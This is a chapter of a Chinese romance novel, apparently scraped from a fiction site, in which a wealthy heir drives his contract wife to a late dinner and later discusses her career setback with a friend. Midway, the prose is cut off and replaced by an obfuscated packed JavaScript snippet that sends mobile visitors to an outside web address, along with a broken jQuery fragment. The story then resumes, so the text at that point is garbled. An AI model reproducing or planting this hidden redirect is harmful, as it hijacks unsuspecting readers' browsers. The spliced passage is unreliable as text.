-
谢逢青觉得,很不对劲。
上次和严知希出去吃饭就破了戒,又是晚上进食又是熬夜到两三点,虽然说这样其实也影响不到他那张成天容光焕发的脸。
但,是不是有点,太纵容她了。
谢逢青坐在主驾驶,臭着脸刷手机,指骨滑动非常快,他身型纹丝不动,也不知道到底看清屏幕上的内容没。
“久等了。”
严知希想着只是出去吃个饭,金坞区这边向来冷清,夜晚开的饭店少之又少。
她素净着脸,戴了顶夸张黑蝴蝶遮阳帽用来遮脸,风衣挟裹清爽凉风,坐入副驾驶:“少爷,尝尝?”
很淡,但很自然,而且发自内心。
可以看出,她此刻心情很好。
谢逢青服了。
眼神冷淡地看过去,没看青提,看的是严知希。
病白指骨拿着颗晶莹剔透的青提,上面还沾染点水色,谢逢青就发现,身旁这人笑意也太明显了。
他伸手,微微弯曲的闲散的露出洁白掌心,从严知希的角度看,指甲尖圆润不留白,非常白皙骨感的一双手。
眼见她要放下,谢逢青笑了声,散漫地落了句,“这么开心?”
我陪你出来吃饭,你这么开心?
夜色昏沉,金坞区的路灯线做的非常优异,明亮不抢月色清辉,车内布满多方明亮。严知希也顺着灯光,注视着谢逢青愈发冷清的面孔,紧绷着唇。
感觉,他情绪似乎一般。
她侧着身子,双手合握撑在车座上,实诚地说:“嗯,我也没想到你真来了。”
严知希以为他这种脾气傲慢的大少爷说一不二,就算真的很想他来,也要好话说尽、威逼利诱才行。
谢逢青当然也听出她这层意思,哼笑一声:“都说了,严知希,我就是对你太纵容了。”
大半夜拉他出来吃饭。
还吃两次。
本来今晚真不想来。
结果,她竟然,发表情包卖萌。
严知希今晚心情确实还不错,所以也乐意捧着他说:“谢大少爷隆恩啊,所以少爷,是什么让您改变主意,来吃饭呢?”
谢逢青听她毫无阴阳怪气的腔调,好似特别真诚。但一看她清丽的脸,笑容微妙。
无语死了。
明知故问有意思吗。
“别问,行吗。”谢逢青吃青提还要剥皮,眼下单手拿着手机,不方便,他不着痕迹的将青提放进方向盘边的小纳物袋。
啧。
语气好凶啊,突然。
又怎么了这位大少爷?
但她也不是很在意。
安安稳稳坐好,扯过安全带,系紧。谢逢青看清她的举动,也直接发动。
金坞顶级富人区路况宽敞明亮,所以也才十点出头,但已荒无人烟。街道两旁的白杨树挺拔,每株都独立青葱,独自撑起月光斑驳的缝隙。
十月金秋的温度骤降,他们开着车窗,风凉。
“想好去哪吃了吗。”那边传来询问,严知希转过身来。
没有。严知希对吃的并不热衷,对做出行攻略这种事也没所谓,只有实在没人顶上,她才会用对待工作的态度来做攻略。
谢逢青闻言,抵齿,看她一眼。
“你喊我出来吃饭,你不知道去哪吃?”
你到底是想吃饭还是吃我?
谢逢青冷着脸,但其实心情复杂。
他就知道。
夫妻这个身份实在是太方便产生某种异样情愫了,即便他已经挺保持距离也没真同居。
还每天口头提醒她不要对自己有非分之想。
这都没防住。
谢逢青越想脸色越差,她就不能有点自制力吗?
“这次你选吧,下次我做攻略。”严知希其实没听出他的意思,只觉得他是那种深恶痛绝团队中不做事的那种人。
还下次,这次让你请,就算两清好吗?
谢逢青嗤笑一声,没说话了。
两人都陷入有点微妙的沉默,严知希想了想,身子前倾点开显示屏,也没找到什么音乐播放器。
随后转头,视线坦诚,自然而然的看着谢逢青,
谢逢青神色平静,目光不偏不倚,却知道严知希是什么意思,咬字冷淡:“三号星球。”
严知希看到这个名称,果然找到播放器,点开,瞬息车内铺满迷幻暧昧的电子琴与萨克斯的交织,盈盈而绕在浑身上下每个细胞,酥麻缓慢到失真的合旋拉长。
有种粉白朦胧的梦核感,特别是浓夜降至,如梦如幻。
严知希恍惚了片刻,才惊讶地看向谢逢青,脱口而出:“你竟然听PHONK。”
不,她想说的是,你竟然听这么柔和的PHONK。
谢逢青撇她一眼:“怎么,你也喜欢?”
“……”不,严知希只是惊讶像谢逢青这种资本家公子哥会听这些,而她的喜好——
“还可以。”严知希很矜持的应了声:“不过我以为,你会喜欢那种……dj热曲呢。”
谢逢青瞬间看破她的想法:“周明山是吃网络热潮热点的网红,我又不需要追热点。”
“听dj开车醒神啊。”
“……我平常不用开车,你能懂吗。”
还不是你非要晚上出来吃饭?谢逢青服了:“你见过哪个财阀资本家半夜拉客当免费司机的?”
别得了便宜还卖乖成吗。
严知希……她深深的在后视镜了看了一眼谢逢青。
“好吧,对不起。”她突如其来的认错让谢逢青眉心一跳。
“……”
是他语气太过了?
正要反思下自己,那边又慢悠悠传来声音。
“我不让你白拉客,”她语气真诚:“我一定给钱。”
“……”
-
招牌红木金漆凤舞“掷金饭店”草行楷,恢弘磅礴,沉重悠远感扑面。走近一看,就能瞧出多年风吹日晒的残败破落。
斑驳牌匾,隐能闻见腐朽。
像这样的老字号,在旧京极为常见,眼下却出现在金坞区,严知希不由得多留神些。
谢逢青却早已习惯,锁完车便单手插兜大步流星踏入店家,严知希只好小步跟上。
临江二楼,开阔高窗不远便是万里山峰,再伏低看,往日璀璨高楼成细碎连绵的银河繁星。
美的很壮丽。
等她回神,谢逢青已经点好菜。
“不好意思,都是我的口味。”这人语气淡淡的,听不出情绪。
“哦,行。”严知希说过的,她非常不挑食。
饭前等菜的阶段,严知希惯性摸出电脑或手机办公,这是她学生时代都保留下来的习惯,那时候叫“碎片化时间”管理。
就如此刻,赵易安其实是有点焦虑的。
【15:不是,我他妈都收到芙蓉会的贾嘉宾邀请了,你那边还没情况?容砚与到底是什么意思?】
惩罚也好、潜规则也好、真不带她去也行,但起码要给个明示吧?
她知道严知希这几天各种方式都试过,就差亲自飞松临堵人了,那边态度还是晦暗不明、隐有冷处理的意思。
赵易安都急死了。
但严知希这边,还能反过来安慰她。
【yan:轻松点,易安。】
【yan:他真想带李乐宜去,也没办法。让那小姑娘开开眼界,以后做事也能成熟点。】
盛美三年一次的芙蓉会名额,还是沾了容砚与的光才有,如此珍贵,全凭他一人独裁。
但听完这话她只觉得严知希疯了。
【15:……】
【15:你被刺激疯了吗,大姐。】
赵易安觉得这样发展下来,TUK的主责都能换人。
严知希看着她的消息,笑了。没再回复,把手机叩平在桌上。
“和男朋友?”
掷金饭店的灯光打的很有意思,非红黄白等老字号常见色,也是配合夜色的淡淡蓝白色调,恬静淡雅,却也映照那道冷淡劲儿更加锋利。
“不是。”严知希看够了,转开视线:“朋友。”
见她回避,谢逢青反而愈发直白的打量她,只见她侧脸颌骨都绷紧,颇有不想深聊的意思。
谢逢青这人呢,很会看人脸色情绪,但照不照顾两说。
“我刚回国那天,你哪去了?”
谢逢青靠坐,姿态比较散:“谢二小姐刚出月子,在机场等你半天,回去就感冒发烧了。问我,你怎么没来。”
啊。
这都大半个月前的事了。
而且那天,谢逢青次日就直接从海口转机到松临盛美,两人见面,严知希心虚不已,但他并没有兴师问罪。
严知希还以为他不在意,原来是要秋后算账。
“那天容老师从临市学习回来,让我在盛美等他谈论东区美术开发项目结尾部分。”严知希非常诚恳的认错:“事宜相重,我忘了。”
哦,又是容老师、容教授。
或者说,果然是因为容砚与的事,她才没来。
谢逢青也讲不清自己现在什么心态,他转而把手机扔在桌子上。他手机从不带壳,原色钛金属此刻略微滚烫,躺在桌面。
但谢逢青又是笑着的:“严知希,你挺潮啊。”
“师生恋也是给你玩上了。”
正巧,赵易安又发来信息,严知希解开锁屏,打字回复着说:“也不算吧,他很久没理我了。”
“怎么,吵架了?”
“嗯。”她想了想:“李乐宜,还记得吗?”
谢逢青记人记事都很厉害:“当然。”
严知希思考片刻:“国际博览会中国站芙蓉会在金坞展开,我是TUK主题主责,要提前去疏通各项关系。但他多方考量下,可能会带李乐宜去。”
她极其擅长蒙太奇叙述,但这番话没抹黑没推卸责任,把三方体面都保留,叫人一时纠不出错,察觉不出主要责任落谁。
谢逢青却微微皱眉,没说话。
不过也没关系,还有METOO的私人馆主名额可以进去,严知希有自己的考量。
“行了你。”谢逢青突然出声,拿回裸机,此刻温度也微凉下来:“我问的是这个?”
“能收敛点吗。盛美是周家的产业,眼线挺多的,失恋表现的太明显,让我这个做正牌老公的很难搞啊,严知希。”
啊。
这样。
哦,好吧。
最近和他谈论太多正事,上司下属资本家打工的那种感觉太强烈,谢逢青不提她都快忘了两人还有夫妻关系。
但严知希觉得他今晚确实脾气有点太不好了吧?
眼神直截了当看过去,打量他,从高挺精致的眉骨到紧抿的薄唇,可能想到等下又要熬夜,谢大少爷眉眼布满懒倦,看着就困。
严知希突然说:“好吧,看来周明山说的对。”
什么就对了?谢逢青一下还真没跟上她的脑回路,但很快,严知希就转移话题了。
“不过你小姑那天为什么要等我?”
等到谢逢青直接回家不就行了。
说到底,严知希至今没有得到过谢老爷子的认可,也没在正式场合以谢家人的身份出席过。
“你说呢。”谢逢青漫不经心:“你的人设那么痴情,她当然希望我们的故事能圆满。”
……哇好矫情的用词。
严知希没忍住吐槽了下,但表情没有丝毫变化:“但是我觉得谢逢青,我们还是吃完饭赶紧回去吧。”
“怎么?”谢逢青冷淡撩她一眼。
不是想和我吃吗?被打击两句就受不了了?
当然,严知希完全理解错了他的意思,只是看着他懒倦松散的神态,担忧地说:“周明山说的对,你没睡够,真挺不是人的。”
谢逢青听后:“?”
严知希真诚地补充:“讲的话也很难听。”
“……严知希。”
“不太像人话。”
“……”
-
临走前,严知希担忧过,要不我来开车吧?你看着很像酒驾,正好裕阳七路有交警在查。
谢逢青呵呵两声,混不吝得很,“不会是不想给钱了吧严老板?真白嫖我啊?”
严知希服了:“那你开吧——”
话没落地,谢逢青就把钥匙抛她怀里,语气散漫:“算了,你开吧,给你个机会,好好表现。”
她要表现什么?严知希疑惑,但也没多问,长腿一迈就上车系带发动拉档。
她年轻点的时候经常开千万级豪车,偶尔也摸朋友的顶级定制顶豪。眼下坐在谢逢青的全碳朔夜柯尼赛格上,摸了两把:“帅。”
谢逢青没搭腔。
严知希一脚油门踩出去,金坞区这道宽敞大气,夜晚空无一人,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13695008|144392||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
踩过瘾了,才转而看见方向盘左侧的小纳物袋,放着一颗青提。
“你没吃?”
谢逢青看了一眼:“懒得剥皮。”
为了不犯困,谢逢青单手拿着手机,撑着额,有一搭没一搭地刷着。也不知道怎么回事,今晚老给他推什么[警惕!异性半夜约你出去吃饭,半多是这几层意思……][香港纨绔约嫩模海滩晚餐,模特拒绝三次,纨绔事后恍然大悟,悔不当初!][学生党在外保护好自己,别被无耻之徒饭局上占便宜。]
看的谢逢青眼皮都在轻跳。
“你今晚回家吗?”
无耻之徒还在那问他这种隐私问题,谢逢青说:“不。”
“别啊,回吧。”严知希在后视镜里看他一眼:“有点事要谈。”
谈什么?想谈恋爱?
先把你的现任解决下好吗?
喜欢老师还来找我啊,把我当疗伤的?
谢逢青觉得没意思,索性把刷短视频的声音开大点,隐晦抗拒:“你这什么非要在晚上谈正事的毛病?上次也是,回去都十二点了。”
晚上谈事效率高啊。而且白天也见不到他人好吧,严知希说:“求你了。”
“……”
谢逢青快速滑动短视频,其实心不在焉,压根没听手机在放什么:“随你。”
严知希心满意足,笑嗯了声。
……谢逢青又不爽了。
她的放肆来源于你的放纵啊谢逢青。
-
京市金坞区,CBD中心环金顶层。
“我知道了,她晚点肯定是想求求无所不能的谢大少爷,希望亲亲老公能带她进芙蓉会!”
空旷主卧传来手机通话的清晰电子音,谢逢青开了最大音量的外放,这套房子隔音效果好到群p叫.床都没问题,他压根不担心外面会有人听见,随意把手机扔在床上。
谢逢青在那边脱衣服,西服被他踩在地上,转而换了套黑色高领毛衣,肩宽而薄直,垂眸看向手机。
周明山在那边尽显大聪明本色:“虽然什么个会我不懂啦,但是谢逢青你放心啊,只要你一声令下,我绝对立刻用周二公子的强权压人逼盛美给严知希去的名额啊!”
“这个时候想起自己是周家人了,擦边男博主?”
他也好意思,平常不管事,关键时刻想要走正规程序的名额,就要去他大哥的办公室撒泼打滚走后门。
周明山听出他嘲讽的意思:“哎哟我去,给你做你们幸福婚姻的爱情保安还不要?那你说咋办啊,容砚与这孙子绝逼卡严知希的资格了。”
“严大校花也是神人哈,就两三天时间了,她竟然还有闲心陪你这事儿逼吃饭。”周明山担忧地问:“你没作吧,大少爷,这种时候还是要顺着老婆的意思来才有好日子过啊!”
“滚。”谢逢青:“我作过?”
这话讲出来他也太不要脸了额,但是周明山不计较啊,他觉得他能和谢逢青做这么多年亲朋好友就是钝感力十足,不计较谢逢青事儿逼的同时有颗包容的强大心脏。
“不作啊,谁提了?”周明山从善如流:“谁又让我们谢大少爷不痛快了,好大的胆子!”
……谢逢青无语地笑了声。
“正经点。”谢逢青强行把话题拉回来:“所以容砚与真把名额给那新人了?”
周明山后来也去盛美了解过一二,那李乐宜履历挺厉害的,容砚与真要带她去也不算违反正规流程。
“严知希应该是哪里得罪容砚与了吧……表白了?对老师霸王硬上弓了?”
“严校花的合法老公正在和你通话,注意下用词。”
哎哟你还自称上老公了。
周明山暗自吐槽,我认识严知希的时候,你还在MIE和陈挚野卖腐炒作吸引迷妹呢。
不过他也没倔,特意把这些天搞到的东西发给谢逢青看,3M的文件,谢逢青垂腕点开。
“温舒琳和他结婚后,在圈子里就不怎么活跃了,我也是费劲弄到的。这对夫妻,有真感情是真的,Open marriage也是真的。”
周明山说到这里,意思已经很明确了。
他对圈内习以为常的开放式婚姻态度平淡到像看人吃饭喝水一样,哪怕他和严知希的婚姻也夹杂多方权益算计,倒没什么想指责的意思但是。
谢逢青自然懂:“行吧,没话讲了。”
这什么意思啊,周明山问:“那你到底帮不帮严知希进去?”
“她没问过我。”
“你这意思就是不想帮呗。”
“我说了?”
“你真想给人收拾烂摊子的话就不是这态度了,墨尔本把天捅破那次我都想跳楼,哪敢告诉你啊?结果还是你主动飞来这边,手起刀落就把那事解决了。”
自从谢二小姐又生了个金贵的小少爷后,京中对谢家错综复杂的恩怨揣测愈演愈烈,但他谢逢青毫无疑问是按照最顶级的谢氏集团唯一继承人那套标准来培养的。
别管平日这人看着有多散漫懒倦、常年没睡醒的模样,讲的话也经常很不是人,完全没有名利场上该有的粉饰太平。
但他在名利世界里早已游刃有余,周明山那段时间也是深刻意识,到这位和他从小一起长大傻乐的朋友,或许早就和他不是一个level了。
他背负着太多沉重的压力,无处释放,时至今日,也只有他们几个自小的玩伴,才有可能窥见一二他深掩其下的落寞。
周明山也把话讲开了:“别说什么合作关系别逾矩这种瞎话,这么多年了,你对谁不在意和真上心你当我看不出来?明知道你姑姑生儿子了,关键时刻还他妈做出闪婚这种逆天操作。所以谢逢青,你真是从高中就喜欢严知希啊?”
“……”谢逢青面无表情:“真没。”
“是高中同学,但真没交集。你要我说几遍?少看几本破镜重圆小说对谁都好。”
他也有点不耐烦了:“也别神化我了,墨尔本那事是我老同学在那里,给我放个方便,不然你就老老实实吃自治州的枪子儿吧,大哥。”
周明山也不生气:“所以你就看着容砚与区别对待严知希不作为啊?”
谢逢青:“她没说我又何必上赶着?”
话音刚落,谢逢青主卧的门迎来三声清脆的响声,在夜里十分明显。
“你好了吗。”
外面道:“我三天后要去参加金坞国际博览芙蓉会,想和你谈谈这方面的问题。”